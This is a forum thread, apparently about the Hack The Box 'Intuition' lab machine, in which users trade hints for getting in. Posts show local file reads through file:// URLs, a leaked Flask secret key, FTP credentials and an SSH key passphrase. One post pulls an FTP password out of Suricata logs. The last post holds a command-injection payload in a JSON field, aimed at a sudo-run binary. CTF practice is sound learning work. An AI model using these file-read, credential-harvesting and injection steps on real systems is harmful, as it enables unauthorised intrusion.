[maggi]

vnc seems is a rabbit hole, This is not container other user.

I thought so, I been trying to figure out lopez for deep

[maggi]

Wait... What is the step after getting the Flask Secret Key??

Find other source files

Help me here please:

file:///proc/self/stat
22 (python3) S 1 1 1 0 -1 4194560 291607 59579 25 1627 37204 13460 140 129 20 0 2 0 3986 676409344 8803
18446744073709551615 110971870547968 110971870548413 140733331221136 0 0 0 0 16781312 2 0 0 0 17 0 0 0 0
0 0 110971870559688 110971870560304 110971889086464 140733331222008 140733331222033 140733331222033
140733331222497 0
So I use:
file:///proc/22/cmdline
python3/app/code/app.py

So I download app.py:
file:///app/code/app.py

from flask import Flask, request, redirect from blueprints.index.index import main_bp from blueprints.report.report
import report_bp from blueprints.auth.auth import auth_bp from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__) app.secret_key = "7ASS7ADA8RF3FD7" app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB ALLOWED_EXTENSIONS = {'txt',
'pdf', 'docx'} # Add more allowed file extensions if needed app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report') app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard') if __name__ == '__main__': app.run(debug=False,
host="0.0.0.0", port=80)

My question is how do you get the path /blueprint/dashboard/dasboard.py? I know that's what it is thanks to you, but I really want to know what process I should do to get the path from that other source.
Thank you!

i did it via a bit of guesswork from this line:
from blueprints.dashboard.dashboard import dashboard_bp

so blueprints/dashboard/dashboard.py

I can grab all the other files but not blueprints

but I think I can cat it out in the shell

[mycatdante]

Hint for user please!

got access to dashboard and app files. got ssh key  and password , but not able to get a shell!

Nano id_rsa but inside the key 
Chomd 600 id_rsa 
Ssh dev_acc@10.10.11.15 -i id_rsa 
Enter the phrase u got

I already managed to download the id_rsa, and I understand what you are saying, but my question is how did you know that the username is dev_acc? What enumeration did you do?ftp://ftp_admin:u3jai8y71s2@ftp.local/**.key

For the path those are just standard python grammar to import modules.
For how to get the user name, it has been explained thoroughly in previous threads. You can go back and check

[adolfo]

dev_acc@intuition:~$ zgrep -i lopez /var/log/suricata/*.gz
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}


pw: Lopezz1992%123


lopez@intuition:~$ ll
total 20
drwxr-x--- 3 lopez lopez 4096 Apr 10 08:21 ./
drwxr-xr-x 5 root  root  4096 Apr 25 11:32 ../
lrwxrwxrwx 1 root  root    9 Apr  9 18:26 .bash_history -> /dev/null
-rw-r--r-- 1 lopez lopez 3771 Oct 13  2023 .bashrc
-rw-r--r-- 1 lopez lopez  807 Oct 13  2023 .profile
drwx------ 2 lopez lopez 4096 Apr 10 08:21 .ssh/
lopez@intuition:~$ whoami
lopez
lopez@intuition:~$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)

[maggi]

dev_acc@intuition:~$ zgrep -i lopez /var/log/suricata/*.gz
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}


pw: Lopezz1992%123


lopez@intuition:~$ ll
total 20
drwxr-x--- 3 lopez lopez 4096 Apr 10 08:21 ./
drwxr-xr-x 5 root  root  4096 Apr 25 11:32 ../
lrwxrwxrwx 1 root  root    9 Apr  9 18:26 .bash_history -> /dev/null
-rw-r--r-- 1 lopez lopez 3771 Oct 13  2023 .bashrc
-rw-r--r-- 1 lopez lopez  807 Oct 13  2023 .profile
drwx------ 2 lopez lopez 4096 Apr 10 08:21 .ssh/
lopez@intuition:~$ whoami
lopez
lopez@intuition:~$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)

woooooow I am I mad at myself, I  saw suricata and thought that was important but just passed over that because.....plot?
thx

[DrBan]

I am in Lopez user where to go next help please !!!!

[trevor69000]

found this but its only for user currently 

https://4xura.com/ctf/htb/htb-writeup-intuition/

[s1nn]

I already managed to download the id_rsa, and I understand what you are saying, but my question is how did you know that the username is dev_acc? What enumeration did you do?ftp://ftp_admin:u3jai8y71s2@ftp.local/**.key

For the path those are just standard python grammar to import modules.
For how to get the user name, it has been explained thoroughly in previous threads. You can go back and check

One user said:
ssh-keygen -p -N "" -m pem -f id_rsa

I understand we are using an empty password (changing password) but I still dont know how to know the username, I'm sorry. x_x  im overcooked lol

once you run the command it will output you the name of the user

Yes in my case i have an error:
nano id_rsa and then put the **.key on it, then chmod 600 id_rsa
then ssh-keygen -p -f id_rsa
put the passphrase: Y27SH19HDIWD

but i get an error: Failed to load key id_rsa: error in libcrypto

Make sure you dont straight out copy the ssh key to id_rsa. Make sure -----END OPENSSH PRIVATE KEY----- is at the bottom of the file contents, had that error happen to me maybe that'll fix it.

[DrBan]

i GOT THE USER NO CLUES FOR ROOT PLS HELP

[MakeFilez]

lopez@intuition:~$ cat exploit.json
{
"action": "install",
"role_file": "nonexistent.yml; touch /tmp/testfile #",
"auth_code": "UHI75GHINKOP"
}

lopez@intuition:~$ sudo /opt/runner2/runner2 exploit.json
Run key missing or invalid.
lopez@intuition:~$


What am I doing wrong